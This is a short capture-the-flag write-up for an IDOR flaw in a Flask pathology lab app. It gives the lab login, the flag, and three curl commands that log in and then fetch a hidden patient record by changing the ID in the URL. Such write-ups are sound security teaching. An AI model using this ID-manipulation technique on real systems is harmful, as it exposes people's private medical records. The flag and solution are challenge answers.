CTF Challenge Report

Flag: CRACCON{E4sY_P34sy_ID0r}

Vulnerability Exploited: IDOR (Insecure Direct Object Reference)

Challenge Walkthrough:

Step	Description
Authentication	Successfully logged in using provided credentials (labtech:labtech123). `curl -i -X POST -d "username=labtech&password;=labtech123" "http://craccon.ctf.defhawk.com:8090/login"`
Discovery	The dashboard displayed only 5 out of 21 total patients, but individual records could be accessed via patient IDs. `curl -i -H "Cookie: session=..." "http://craccon.ctf.defhawk.com:8090/"`
Exploitation	Accessed patient ID 21 (/patient/21) directly, even though it wasn't listed on the dashboard. `curl -i -H "Cookie: session=eyJyb2xl..." "http://craccon.ctf.defhawk.com:8090/patient/21"`
Flag Location	Patient ID 21 had the name *Easy IDOR?* and the address field contained the flag: **CRACCON{E4sY_P34sy_ID0r}**

Technical Details:

Application: Flask-based pathology lab management system **Vulnerability Type:** IDOR - accessing unauthorized patient records by manipulating the patient ID parameter **Impact:** Unauthorized access to sensitive patient data **Exploitation Method:** Direct URL manipulation to access hidden patient records (/patient/21)